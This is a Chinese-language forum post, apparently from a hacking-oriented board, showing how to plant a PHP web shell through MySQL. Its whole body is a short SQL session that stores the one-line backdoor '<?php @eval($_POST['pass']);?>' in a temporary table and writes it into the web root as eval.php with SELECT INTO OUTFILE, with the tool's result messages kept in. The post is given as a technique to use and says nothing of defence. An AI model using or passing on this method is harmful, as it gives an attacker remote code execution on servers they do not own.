灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:2656回复:0

通过mysql插入一句话

楼主#
更多 发布于:2013-05-21 09:24
SEtest;# MySQL 返回的查询结果为空(即零行)。
DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。
CREATETABLEtemp(

cmdTEXTNOTNULL
);# MySQL 返回的查询结果为空(即零行)。
INSERTINTOtemp(cmd)
VALUES(

'<?php @eval($_POST['pass']);?>'
);# 影响列数: 1
SELECTcmd
FROMtemp
INTOOUTFILE'/home/htdocs/eval.php';# 影响列数: 1
DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。

喜欢0 评分0
游客

返回顶部